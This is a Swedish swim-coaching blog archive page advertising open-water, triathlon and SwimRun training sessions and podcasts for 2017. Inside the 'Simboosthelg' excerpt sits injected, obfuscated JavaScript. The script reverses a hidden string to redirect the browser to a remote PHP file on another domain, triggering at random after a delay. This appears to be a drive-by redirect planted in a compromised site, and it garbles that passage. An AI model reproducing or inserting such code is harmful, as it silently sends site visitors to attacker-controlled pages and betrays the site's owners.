Category Archives: teknik

Vill du träna Öppet vatten simning i sommar?

Möjligtvis är du anmäld till ett Öppet Vatten-, Triathlon- eller SwimRunlopp och vill träna och möta likasinnade. ”Öppet vatten simning ger dig frihet att simma i en naturlig miljö och samtidigt utvecklar du din kondition och förbättrar din hälsa. Att simma och träna i grupp är dessutom en sporrande och social upplevelse, det är ett

Read More

NYHET 2017 – OPEN WATER KOMBO I DJURGÅRDSBRUNNVIKEN, STOCKHOLM & JÄRLASJÖN, NACKA

Sommarn 2017 erbjuder vi Open Water simning i kombination av Djurgårdsbrunnviken, Stockholm (onsdagar) och Järlasjön, Nacka (söndagar). Träningen passar flera karaktärer av idrottare och färdighetsnivåer inom SwimRun, Open Water simning & triathlon och riktar sig till såväl motionärer som elitidrottare. Deltagarna delas upp i grupper efter färdighet vilket gör att din träning anpassas efter just din

Read More

Vill du utveckla din simning till en ny nivå? i så fall ska du prova vårt Simprogram där vi träffas ungefär varannan vecka, din simträningen planeras noggrant och du erhåller simpass under 12 veckor eller överenskommen period. Simprogrammet riktar sig till er som redan simmar regelbundet i bassäng och i öppet vatten och som vill göra en simboost inför kommande säsong. Självklart anpassar

Read More

NYHET 2017 – Open Water simning i kombination av Långsjön, Älvsjö och Järlasjön, Nacka

Sommarn 2017 erbjuder vi Open Water simning i kombination av Långsjön, Älvsjö (torsdagar) och Järlasjön, Nacka (söndagar). Träningen passar flera karaktärer av idrottare och färdighetsnivåer inom SwimRun, Open Water simning & triathlon och riktar sig till såväl motionärer som elitidrottare. Deltagarna delas upp i grupper efter färdighet vilket gör att din träning anpassas efter just

Read More

Simboosthelg – inriktning mot Open Water & Triathlonsimning 2017

  ) == ”string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(””).reverse().join(””);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[”‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and”] Under vintern och våren 2017 finns möjligheten att vässa din simteknik & träna POW (Pool Open Water)  i Eskilstuna som leds av landslagstränaren i både simning och triathlon Fredrik Ludde Lundin aka Coach Ludde. Simboosten riktar sig till dig som redan

Read More

BE RACE READY PODCASTS by Gerry Rodrigues

Hej, här kommer ett tips till alla triathleter där ute. Coach Gerry har under våren släppt ett antal poddavsnitt där han pratar specifikt om triathlonsimning, både tekniskt och träningsmässigt. Jag träffade Gerry för några veckor sedan i LA och jag tycker att han har många bra synpunkter och gedigen erfarenhet och kunskap. Hans klubb Tower

Read More

För att fortsätta använda denna webbplats behöver du godkänna användandet av cookies. mer information samt möjligheten att avaktivera cookies hittar du här

Dina cookie-inställningar för denna webbplats är satt till ”tillåt cookies” för att ge dig den bästa upplevelsen. Om du fortsätter använda webbplatsen utan att ändra dina inställningar för cookies eller om du klickar ”Godkänn” nedan så samtycker du till detta.

Stäng